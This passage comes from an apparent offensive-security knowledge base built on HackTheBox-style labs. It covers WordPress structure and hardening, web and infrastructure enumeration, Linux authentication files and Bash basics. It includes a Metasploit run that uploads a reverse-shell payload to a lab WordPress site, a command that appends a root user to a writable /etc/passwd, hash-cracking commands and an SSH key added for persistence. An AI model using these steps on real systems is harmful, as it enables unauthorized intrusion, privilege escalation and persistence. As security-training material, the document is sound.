Metasploit Framework (MSF) to obtain a reverse shell on the target automatically. This requires valid credentials for an account that has sufficient rights to create files on the webserver. To obtain the reverse shell, we can use the `wp_admin_shell_upload` module. We can easily search for it inside MSF: ```shellsession title="MSF Search" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf5 > search wp_admin Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload ``` The number `0` in the search results represents the ID for the suggested module. From here, we can specify the module by its ID number to save time. ```shellsession title="Module Selection" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf5 > use 0 msf5 exploit(unix/webapp/wp_admin_shell_upload) > ``` ### Exploitation After using the `set` command to configure the required options, use `run` to execute the module. If all parameters are correct, it should spawn a reverse shell on the target. ```shellsession title="Set Options" theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.com msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password Winter2020 msf5 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.16.8 msf5 exploit(unix/webapp/wp_admin_shell_upload) > run [*] Started reverse TCP handler on 10.10.16.8:4444 [*] Authenticating with WordPress using admin:Winter2020... [+] Authenticated with WordPress [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/YtyZGFIhax/uTvAAKrAdp.php... [*] Sending stage (38247 bytes) to blog.inlanefreight.com [*] Meterpreter session 1 opened [+] Deleted uTvAAKrAdp.php meterpreter > getuid Server username: www-data (33) ``` # WordPress Fundamentals Source: https://hackbook.dudji.com/attacks/web/wordpress/fundamentals Default WordPress structure, core files, configuration, and role model. ## Installation Requirements WordPress requires a fully installed and configured LAMP stack before installation on a Linux host: * Linux operating system * Apache HTTP Server * MySQL database * PHP After installation, supporting files and directories are typically accessible from the webroot at `/var/www/html`. ## File Structure Below is the directory structure of a default WordPress install, showing key files and subdirectories needed for the site to function. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ tree -L 1 /var/www/html . |-- index.php |-- license.txt |-- readme.html |-- wp-activate.php |-- wp-admin |-- wp-blog-header.php |-- wp-comments-post.php |-- wp-config.php |-- wp-config-sample.php |-- wp-content |-- wp-cron.php |-- wp-includes |-- wp-links-opml.php |-- wp-load.php |-- wp-login.php |-- wp-mail.php |-- wp-settings.php |-- wp-signup.php |-- wp-trackback.php `-- xmlrpc.php ``` ## Key WordPress Files The root directory contains files needed for WordPress to function correctly. * `index.php`: Homepage entry point. * `license.txt`: Useful installation and version information. * `wp-activate.php`: Handles email activation during new site setup. * `wp-admin`: Contains administrator login and backend dashboard functionality. * `xmlrpc.php`: XML-RPC endpoint for remote communication over HTTP/XML. This has largely been replaced by the WordPress REST API. Common login paths include: * `/wp-admin/login.php` * `/wp-admin/wp-login.php` * `/login.php` * `/wp-login.php` Administrators can also rename login-related paths to make discovery harder. ## WordPress Configuration File The `wp-config.php` file includes database connection settings, authentication keys and salts, table prefix configuration, and debug settings. ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} */ /** The name of the database for WordPress */ define( 'DB_NAME', 'database_name_here' ); /** MySQL database username */ define( 'DB_USER', 'username_here' ); /** MySQL database password */ define( 'DB_PASSWORD', 'password_here' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Authentication Unique Keys and Salts */ /* */ define( 'AUTH_KEY', 'put your unique phrase here' ); define( 'SECURE_AUTH_KEY', 'put your unique phrase here' ); define( 'LOGGED_IN_KEY', 'put your unique phrase here' ); define( 'NONCE_KEY', 'put your unique phrase here' ); define( 'AUTH_SALT', 'put your unique phrase here' ); define( 'SECURE_AUTH_SALT', 'put your unique phrase here' ); define( 'LOGGED_IN_SALT', 'put your unique phrase here' ); define( 'NONCE_SALT', 'put your unique phrase here' ); /** WordPress Database Table prefix */ $table_prefix = 'wp_'; /** For developers: WordPress debugging mode. */ /** */ define( 'WP_DEBUG', false ); /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php'; ``` ## Key WordPress Directories The `wp-content` directory is where plugins and themes are stored. Its `uploads` subdirectory usually contains user-uploaded files. These paths should always be enumerated carefully because they may expose sensitive files, insecure upload handling, or vulnerable components. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ tree -L 1 /var/www/html/wp-content . |-- index.php |-- plugins `-- themes ``` The `wp-includes` directory stores core WordPress components such as certificates, fonts, JavaScript files, and widgets. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ tree -L 1 /var/www/html/wp-includes . |-- |-- theme.php |-- update.php |-- user.php |-- vars.php |-- version.php |-- widgets |-- widgets.php |-- wlwmanifest.xml |-- wp-db.php `-- wp-diff.php ``` ## WordPress User Roles There are five default user role types in a standard WordPress installation. | Role | Description | | ------------- | ------------------------------------------------------------------------------------------------------------------- | | Administrator | Full administrative access to the website, including user management, content management, and source-level changes. | | Editor | Can publish and manage posts, including posts created by other users. | | Author | Can publish and manage only their own posts. | | Contributor | Can write and manage their own posts but cannot publish them. | | Subscriber | Standard low-privilege account that can read content and edit its own profile. | Gaining administrator access is usually the most direct path to server-side code execution. However, editor and author accounts may still expose meaningful attack paths when vulnerable plugins or role-misconfigured features are present. # WordPress Hardening Source: https://hackbook.dudji.com/attacks/web/wordpress/hardening Practical controls to reduce WordPress attack surface and limit impact. ## WordPress Hardening ### Best Practices Below are some best practices for preventing attacks against a WordPress site. ### Perform Regular Updates This is a key principle for any application or system and can greatly reduce the risk of a successful attack. Make sure that WordPress core, as well as all installed plugins and themes, are kept up-to-date. Researchers continuously find flaws in third-party WordPress plugins. Some hosting providers perform continuous automatic updates of WordPress core. The WordPress admin console will usually prompt when plugins or themes need to be updated or when WordPress itself requires an upgrade. You can modify `wp-config.php` to enable automatic updates by inserting the following lines: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} define( 'WP_AUTO_UPDATE_CORE', true ); ``` ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} add_filter( 'auto_update_plugin', '__return_true' ); ``` ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} add_filter( 'auto_update_theme', '__return_true' ); ``` ### Plugin and Theme Management Only install trusted themes and plugins from the WordPress.org website. Before installing a plugin or theme, check its reviews, popularity, number of installs, and last update date. If either has not been updated in years, it may no longer be maintained and may contain unpatched vulnerabilities. Routinely audit the site and remove any unused themes and plugins. ### Enhance WordPress Security Several WordPress security plugins can be used to enhance website security. These plugins can be used as a Web Application Firewall (WAF), malware scanner, monitoring and activity auditing tool, brute-force protection layer, and strong password enforcement control. Sucuri Security ([wordpress.org/plugins/sucuri-scanner/](https://wordpress.org/plugins/sucuri-scanner/)) This plugin is a security suite consisting of the following features: * Security Activity Auditing * File Integrity Monitoring * Remote Malware Scanning * Blacklist Monitoring iThemes Security ([wordpress.org/plugins/better-wp-security/](https://wordpress.org/plugins/better-wp-security/)) iThemes Security provides 30+ ways to secure and protect a WordPress site, such as: * Two-Factor Authentication (2FA) * WordPress Salts and Security Keys * Google reCAPTCHA * User Action Logging Wordfence Security ([wordpress.org/plugins/wordfence/](https://wordpress.org/plugins/wordfence/)) Wordfence Security consists of an endpoint firewall and malware scanner. * The WAF identifies and blocks malicious traffic. * The premium version provides real-time firewall rule and malware signature updates. * Premium also enables real-time IP blacklisting to block requests from known malicious IPs. ### User Management Users are often targeted because they are generally seen as the weakest link in an organization. The following user-related best practices improve the overall security of a WordPress site: * Disable the standard admin user and create accounts with difficult-to-guess usernames. * Enforce strong passwords. * Enable and enforce two-factor authentication (2FA) for all users. * Restrict user access based on least privilege. * Periodically audit user rights and access. Remove unused accounts or revoke access that is no longer needed. ### Configuration Management Certain configuration changes can increase the overall security posture of a WordPress installation: * Install a plugin that disallows user enumeration so attackers cannot gather valid usernames for password spraying. * Limit login attempts to prevent password brute-force attacks. * Rename `wp-login.php` or relocate the login page so it is not broadly exposed, or allow access only from specific IP addresses. # WordPress Source: https://hackbook.dudji.com/attacks/web/wordpress/index Enumerate, assess, and exploit common WordPress attack paths. Core file layout, configuration, key directories, and user roles. Fingerprinting, user discovery, plugin and theme enumeration, and endpoint mapping. Credential abuse, vulnerable extensions, authenticated code execution, and post-exploitation validation. Security controls, attack-surface reduction, and defensive baselines for production WordPress deployments. # Hackbook Source: https://hackbook.dudji.com/index A structured offensive security knowledge base — methodology, attacks, tech, payloads, and tools.

# Payloads Source: https://hackbook.dudji.com/payloads/index Payload library — ready-to-use payloads for various attack scenarios. The Payload library is a collection of **tested, ready-to-use payloads** organized by type and use case. Payloads for various languages and environments. Maintain access through a web interface. Move files between attacker and target systems. # Enumeration Source: https://hackbook.dudji.com/playbook/enumeration/index Systematic enumeration to identify vulnerabilities, misconfigurations, and attack paths. Enumeration goes deeper than recon — it involves **actively querying** services, applications, and systems to extract actionable intelligence. Directory busting, parameter fuzzing, technology fingerprinting, and more. Deep host service, configuration, and authentication-path enumeration. Protocol-level access, control, and exposure validation. # Web Enumeration Source: https://hackbook.dudji.com/playbook/enumeration/web-enumeration Enumerate web applications — directories, parameters, technologies, and hidden attack surface. Web enumeration is the process of systematically probing a web application to map its structure and identify potential vulnerabilities before exploitation. ## Technology Fingerprinting Identify the tech stack before diving deeper. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Whatweb - quick fingerprint whatweb http://target.com # Wappalyzer (browser extension or CLI) wappalyzer http://target.com ``` ## Directory & File Busting ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Feroxbuster - fast recursive directory busting feroxbuster -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # Gobuster gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt # ffuf ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` ## Parameter Fuzzing ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # fuzz GET parameters ffuf -u "http://target.com/page?FUZZ=value" -w /usr/share/wordlists/burp-parameter-names.txt # fuzz parameter values ffuf -u "http://target.com/page?id=FUZZ" -w /usr/share/wordlists/common.txt ``` ## Virtual Host Enumeration ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # gobuster vhost gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # ffuf vhost ffuf -u http://target.com -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt ``` ## Robots & Sitemap Always check these manually: ``` http://target.com/robots.txt http://target.com/sitemap.xml http://target.com/.well-known/ ``` Combine directory busting results with parameter fuzzing on discovered endpoints for maximum coverage. # Exploitation Source: https://hackbook.dudji.com/playbook/exploitation/index Turning enumeration findings into initial access. This section is currently being built out. Check back soon. Exploitation is the phase where identified vulnerabilities are **weaponized** to gain initial access to a system or application. # Playbook Source: https://hackbook.dudji.com/playbook/index Methodology & flow — a structured approach to offensive engagements. The Playbook defines the **operational methodology** used throughout all engagements. Each phase builds on the previous, creating a disciplined and repeatable attack flow. Passive and active reconnaissance techniques to map the target surface. Deep-dive enumeration to identify entry points and misconfigurations. Gaining initial access by exploiting discovered vulnerabilities. Actions on objectives - persistence, pivoting, and exfiltration. # Post-Exploitation Source: https://hackbook.dudji.com/playbook/post-exploitation/index Actions on objectives — persistence, lateral movement, and exfiltration. This section is currently being built out. Check back soon. Post-exploitation covers everything that happens **after initial access** — stabilizing your foothold, escalating privileges, moving laterally, and achieving your objectives. # Recon Source: https://hackbook.dudji.com/playbook/recon/index Passive and active reconnaissance — mapping the target before you touch it. This section is currently being built out. Check back soon. Reconnaissance is the **first and most critical phase** of any engagement. The goal is to gather as much information about the target as possible without triggering detection. Map network layout, edge exposure, and infrastructure trust boundaries. Host-level and remote-management deep dives are now tracked under Enumeration to avoid duplicate topic pages. # Infrastructure Based Enumeration Source: https://hackbook.dudji.com/playbook/recon/infrastructure-based-enumeration Map the external and internal infrastructure footprint before deep host probing. ## Domain Information Start by mapping the organization's public footprint from a black-box perspective. Results in labs and real engagements will differ. Use these examples as a methodology reference, not as exact expected output. ### Online Presence Useful first-pass sources: * TLS certificates (main domain and SANs) * Certificate Transparency logs (`crt.sh`) * DNS records (`A`, `MX`, `NS`, `TXT`, `SOA`) Example CT query: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} https://www.crt.sh/?q=inlanefreight.com ``` Typical certificate clues to capture: * certificate validity period * SAN entries (`www`, `support`, `api`, etc.) * issuer/provider patterns across subdomains JSON output: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . ``` Example fields worth extracting: ```json theme={"theme":{"light":"github-light","dark":"tokyo-night"}} { "issuer_name": "C=US, O=Let's Encrypt, CN=R3", "common_name": "matomo.inlanefreight.com", "name_value": "matomo.inlanefreight.com", "entry_timestamp": "2021-08-21T06:00:17.173", "not_after": "2021-11-19T05:00:15" } ``` Unique subdomain extraction: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u ``` Example resulting domains: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} account.ttn.inlanefreight.com blog.inlanefreight.com matomo.inlanefreight.com smartfactory.inlanefreight.com ttn.inlanefreight.com www.inlanefreight.com ``` ### Company-Hosted vs Third-Party Hosts Distinguish infrastructure you are allowed to test from third-party assets. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done ``` Example output: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} blog.inlanefreight.com 10.129.24.93 inlanefreight.com 10.129.27.33 matomo.inlanefreight.com 10.129.127.22 www.inlanefreight.com 10.129.127.33 s3-website-us-west-2.amazonaws.com 10.129.95.250 ``` Use the resulting IPs for passive enrichment (for example, Shodan) before active validation. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f4 >> ip-addresses.txt;done for i in $(cat ip-addresses.txt);do shodan host $i;done ``` Example enrichment snapshot: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} 10.129.27.33 Organization: InlaneFreight Open ports: 22/tcp, 80/tcp, 443/tcp 10.129.27.22 Open ports: 25,53,80,81,110,111,443,444 ``` ### DNS Records ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} dig any inlanefreight.com ``` Example record slice: ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} inlanefreight.com. 300 IN A 10.129.27.33 inlanefreight.com. 3600 IN MX 1 aspmx.l.google.com. inlanefreight.com. 21600 IN NS ns.inwx.net. inlanefreight.com. 3600 IN TXT "atlassian-domain-verification=..." inlanefreight.com. 300 IN TXT "v=spf1 include:mailgun.org ..." ``` What to extract quickly: * `A`: domain-to-IP mappings * `MX`: email provider path * `NS`: hosting/provider hints * `TXT`: verifications + email security controls (`SPF`, `DMARC`, `DKIM`) * `SOA`: zone authority metadata High-value clue mapping: | Clue Type | Why It Matters | | ------------------------------------------------ | ------------------------------------------------------------ | | Atlassian / Google / Outlook / Mailgun / LogMeIn | Reveals core business stack and third-party trust boundaries | | SPF IPs in TXT records | Can expose additional infrastructure IPs | | NS provider names | Helps infer DNS/hosting architecture | Quick provider/IP extraction from TXT values can reveal hidden service dependencies worth tracking in your recon notes. ## Cloud Resources Cloud platforms (AWS, Azure, GCP) are standard, but tenant-side misconfiguration can expose data. Common exposure targets: * AWS S3 buckets * Azure Blob storage * GCP Cloud Storage ### Discovery Paths * DNS/host outputs that reveal cloud endpoints * Search indexing of public cloud files * Website source code referencing cloud assets * Third-party domain/cloud enrichment platforms Useful search patterns (examples): ```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}} intext: inurl:amazonaws.com intext: inurl:blob.core.windows.net ``` Example cloud clue in host output: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ... s3-website-us-west-2.amazonaws.com ... ``` Also inspect front-end source for externally loaded assets (JS/CSS/media) that point to cloud object stores. ### Practical Workflow 1. Collect candidate storage endpoints passively. 2. Pivot with company names and known abbreviations. 3. Filter by file type and recency. 4. Build a prioritized validation list inside scope. Common recon pivot targets: * bucket/container naming conventions * environment labels (`dev`, `prod`, `backup`, `archive`) * file extensions (`.pdf`, `.docx`, `.zip`, `.json`, `.pem`, `.key`) ### Risk Signal Operational pressure often causes accidental public exposure of sensitive files. Real-world examples include exposed key material, internal documents, or config exports in cloud storage indexes. Treat discovered sensitive artifacts as high-severity evidence. Stay inside authorized scope and follow reporting/disclosure rules. ## Staff Employee OSINT helps infer technology stack, delivery model, and security maturity. Primary sources: * LinkedIn/Xing profiles * public job postings * public repositories and shared technical content ### Job Post Intelligence Job requirements can quickly reveal probable stack components: * languages: Java, C#, C++, Python, Ruby, PHP, Perl * databases: PostgreSQL, MySQL, SQL Server, Oracle * frameworks: Flask, Django, Spring, ASP.NET MVC * tooling: Git/SVN/Perforce, Atlassian suite, CI/CD Example extraction workflow from a single job post: 1. collect languages and framework requirements 2. map likely backend and data layers 3. identify CI/CD and collaboration tooling 4. infer probable attack surface families (web, API, auth, data) ### Profile and Repository Signals Common recon value: * framework preferences (front-end/back-end) * architecture patterns and domain focus * public code quality and accidental metadata leakage Signals to bookmark: * explicit mentions of React/Svelte/Angular/Flask/Django/etc. * links to personal or org repositories * project descriptions tied to internal systems (CRM, broker portals, analytics) Potential exposure indicators: * personal/work email leakage * hardcoded secrets/tokens in shared code * sensitive internal context in project artifacts Typical leaks seen during staff OSINT: * personal email addresses reused in commits * copied secrets/tokens in sample code * verbose stack traces or configuration fragments in public snippets ### Search Strategy When your goal is infrastructure mapping, prioritize profiles from: * engineering/development * platform/infrastructure * security/operations Use filters (location, title, company, industry) to reduce noise and improve signal quality. Recommended output from this phase: * prioritized employee-role list * inferred technology stack map * tooling/provider dependency map * potential social-engineering and credential-risk observations for reporting # Tech Source: https://hackbook.dudji.com/tech/index Tech-specific patterns — deep dives into operating systems, services, and infrastructure. The Tech section covers **system-level knowledge** required to understand attack surfaces, identify misconfigurations, and exploit technology-specific vulnerabilities. System fundamentals, authentication, services, and storage — everything you need to know to own a Linux box. Privileges, groups, services, and the registry — everything you need to own a Windows box. Common network services — enumeration, misconfigurations, and attack paths for each protocol. # Authentication & Authorization Source: https://hackbook.dudji.com/tech/linux/authentication-authorization Linux authentication internals — PAM, passwd, shadow, SSH, and sudo. ## /etc/passwd Each line represents a user account: ``` username:x:UID:GID:comment:home:shell root:x:0:0:root:/root:/bin/bash ``` The `x` means the password hash is stored in `/etc/shadow`. If writable, you can add a root user directly. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check if writable ls -la /etc/passwd # Generate a password hash openssl passwd -1 -salt salt password123 # Add new root user echo 'hacker:$1$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd ``` ## /etc/shadow Stores the actual password hashes. Only readable by root. ``` username:$hash_type$salt$hash:last_changed:min:max:warn:inactive:expire ``` | Hash prefix | Algorithm | | ----------- | --------- | | `$1$` | MD5 | | `$5$` | SHA-256 | | `$6$` | SHA-512 | | `$y$` | yescrypt | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Crack with hashcat hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt # SHA-512 # Crack with john john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt ``` ## SSH Keys ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Default key locations ~/.ssh/id_rsa # private key ~/.ssh/id_rsa.pub # public key ~/.ssh/authorized_keys # trusted public keys # If you find a private key chmod 600 id_rsa ssh -i id_rsa user@target.com # Generate a new key pair ssh-keygen -t rsa -b 4096 # Add your key for persistence echo "YOUR_PUB_KEY" >> ~/.ssh/authorized_keys ``` ## sudo ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check current user's sudo permissions sudo -l # Common sudoers file location cat /etc/sudoers ls /etc/sudoers.d/ # Run command as another user sudo -u www-data /bin/bash ``` ## PAM (Pluggable Authentication Modules) PAM controls how authentication happens at the system level. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PAM config files ls /etc/pam.d/ # Common services /etc/pam.d/sshd /etc/pam.d/sudo /etc/pam.d/login ``` Misconfigured PAM modules can lead to authentication bypass. Always check PAM configs during post-exploitation enumeration. # Bash Scripting Source: https://hackbook.dudji.com/tech/linux/bash-scripting Compact Bash fundamentals for arguments, variables, flow control, operators, functions, and debugging. ## Basic Script ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash if [ $# -eq 0 ] then echo -e "You need to specify the target domain.\n" echo -e "Usage:" echo -e "\t$0 " exit 1 else domain=$1 fi ``` * `#!/bin/bash` selects the interpreter. * `if-else-fi` handles conditional execution. * `echo` prints output. * `$#`, `$0`, and `$1` are special variables. * `domain=$1` stores the first user argument. ## Shebang The shebang is the first line of a script and starts with `#!`. It tells the system which interpreter should run the file. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash ``` Other common examples: ```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/usr/bin/env python ``` ```perl theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/usr/bin/env perl ``` ## Conditionals Use `if`, `elif`, `else`, and `fi` to branch based on conditions. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash value=$1 if [ "$value" -gt "10" ] then echo "Given argument is greater than 10." elif [ "$value" -lt "10" ] then echo "Given argument is less than 10." else echo "Given argument is not a number." fi ``` ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ bash if-elif-else.sh HTB if-elif-else.sh: line 5: [: HTB: integer expression expected if-elif-else.sh: line 8: [: HTB: integer expression expected Given argument is not a number. ``` ## Arguments and Variables Bash supports positional arguments directly. * `$0` is the script name. * `$1` to `$9` are the first nine positional arguments. * `$#` is the number of arguments. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ./script.sh ARG1 ARG2 ARG3 ... ARG9 ASSIGNMENTS: $0 $1 $2 $3 ... $9 ``` ### Special Variables Special variables use the [Internal Field Separator](https://bash.cyberciti.biz/guide/\$IFS) (`IFS`) to split arguments. | Special Variable | Description | | ---------------- | --------------------------------------------------- | | `$#` | Number of arguments passed to the script. | | `$@` | Full list of command-line arguments. | | `$n` | Argument by position, for example `$1`. | | `$$` | PID of the current process. | | `$?` | Exit status of the last command. `0` means success. | ### Variables Assignments do not use `$`, and there must be no spaces around `=`. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} domain=$1 echo "$domain" ``` Bash treats variable content mostly as strings unless used in arithmetic. Variables are global by default unless declared with `local`. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ variable = "this will result with an error." command not found: variable Dudji@htb[/htb]$ variable="Declared without an error." Dudji@htb[/htb]$ echo $variable Declared without an error. ``` ### Arrays Arrays store multiple values under one variable name, indexed from `0`. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash domains=(www.inlanefreight.com ftp.inlanefreight.com vpn.inlanefreight.com www2.inlanefreight.com) echo ${domains[0]} ``` Quoted values stay together as one array element: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash domains=("www.inlanefreight.com ftp.inlanefreight.com vpn.inlanefreight.com" www2.inlanefreight.com) echo ${domains[0]} ``` ## Arithmetic Use arithmetic expansion `$((...))` and increment/decrement operators for math. | Operator | Description | | ------------ | -------------- | | `+` | Addition | | `-` | Subtraction | | `*` | Multiplication | | `/` | Division | | `%` | Modulus | | `variable++` | Increase by 1 | | `variable--` | Decrease by 1 | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash increase=1 decrease=1 echo "Addition: 10 + 10 = $((10 + 10))" echo "Subtraction: 10 - 10 = $((10 - 10))" echo "Multiplication: 10 * 10 = $((10 * 10))" echo "Division: 10 / 10 = $((10 / 10))" echo "Modulus: 10 % 4 = $((10 % 4))" ((increase++)) echo "Increase Variable: $increase" ((decrease--)) echo "Decrease Variable: $decrease" ``` `${#variable}` returns string length: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash htb="HackTheBox" echo ${#htb} ``` ## Input and Output ### Input Control Use `read` when the script should pause for user input. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} echo -e "Additional options available:" echo -e "\t1) Identify the corresponding network range of target domain." echo -e "\t2) Ping discovered hosts." echo -e "\t3) All checks." echo -e "\t*) Exit.\n" read -p "Select your option: " opt ``` ### Output Control Use `tee` when you want to both display output and save it to a file. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} netrange=$(whois $ip | grep "NetRange\|CIDR" | tee -a CIDR.txt) hosts=$(host $domain | grep "has address" | cut -d" " -f4 | tee discovered_hosts.txt) ``` `-a` appends instead of overwriting. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ cat discovered_hosts.txt CIDR.txt 165.22.119.202 NetRange: 165.22.0.0 - 165.22.255.255 CIDR: 165.22.0.0/16 ``` ## Flow Control - Branches Branches let the script choose one path over another. In Bash, the main branch constructs are `if-else` and `case`. ### Case Statements `case` compares one expression against exact patterns. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} case in pattern_1 ) statements ;; pattern_2 ) statements ;; pattern_3 ) statements ;; esac ``` Example: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} case $opt in "1") network_range ;; "2") ping_host ;; "3") network_range && ping_host ;; "*") exit 0 ;; esac ``` ## Functions Functions keep scripts shorter and easier to reuse. Define them before the first call because Bash reads from top to bottom. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} function name { } ``` ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} name() { } ``` Example: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} function network_range { for ip in $ipaddr do netrange=$(whois $ip | grep "NetRange\|CIDR" | tee -a CIDR.txt) cidr=$(whois $ip | grep "CIDR" | awk '{print $2}') cidr_ips=$(prips $cidr) echo -e "\nNetRange for $ip:" echo -e "$netrange" done } ``` ### Parameter Passing Functions use their own positional parameters, just like scripts. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash function print_pars { echo $1 $2 $3 } one="First parameter" two="Second parameter" three="Third parameter" print_pars "$one" "$two" "$three" ``` ### Return Values Functions return status codes, and `$?` reads the last one. | Return Code | Description | | ----------- | ------------------------------ | | `1` | General errors | | `2` | Misuse of shell builtins | | `126` | Command invoked cannot execute | | `127` | Command not found | | `128` | Invalid argument to exit | | `128+n` | Fatal error signal `n` | | `130` | Script terminated by Control-C | | `255` | Exit status out of range | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash function given_args { if [ $# -lt 1 ] then echo -e "Number of arguments: $#" return 1 else echo -e "Number of arguments: $#" return 0 fi } given_args echo -e "Function status code: $?\n" given_args "argument" echo -e "Function status code: $?\n" content=$(given_args "argument") echo -e "Content of the variable: \n\t$content" ``` ## Flow Control - Loops Loops repeat work until input is exhausted or a condition changes. * `for` loops iterate over items. * `while` loops run while a condition is true. * `until` loops run while a condition is false. ### For Loops ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} for variable in 1 2 3 4 do echo $variable done ``` ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} for variable in file1 file2 file3 do echo $variable done ``` ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} for ip in 10.10.10.170 10.10.10.174 do ping -c 1 $ip done ``` One-line form: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ for ip in 10.10.10.170 10.10.10.174;do ping -c 1 $ip;done ``` ### While Loops `while` loops need a counter or changing condition so they do not run forever. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} stat=1 while [ $stat -eq 1 ] do ping -c 2 $host > /dev/null 2>&1 if [ $? -eq 0 ] then echo "$host is up." ((stat--)) ((hosts_up++)) ((hosts_total++)) else echo "$host is down." ((stat--)) ((hosts_total++)) fi done ``` `continue` skips to the next iteration and `break` exits the loop. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash counter=0 while [ $counter -lt 10 ] do ((counter++)) echo "Counter: $counter" if [ $counter == 2 ] then continue elif [ $counter == 4 ] then break fi done ``` ### Until Loops `until` is the inverse of `while`: it runs until the condition becomes true. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} #!/bin/bash counter=0 until [ $counter -eq 10 ] do ((counter++)) echo "Counter: $counter" done ``` ## Comparison Operators Bash operators are usually grouped into string, integer, file, and logical checks. ### String Operators | Operator | Description | | -------- | ------------------------------ | | `==` | is equal to | | `!=` | is not equal to | | `<` | is less than in ASCII order | | `>` | is greater than in ASCII order | | `-z` | string is empty | | `-n` | string is not empty | Quote strings like `"$1"` to 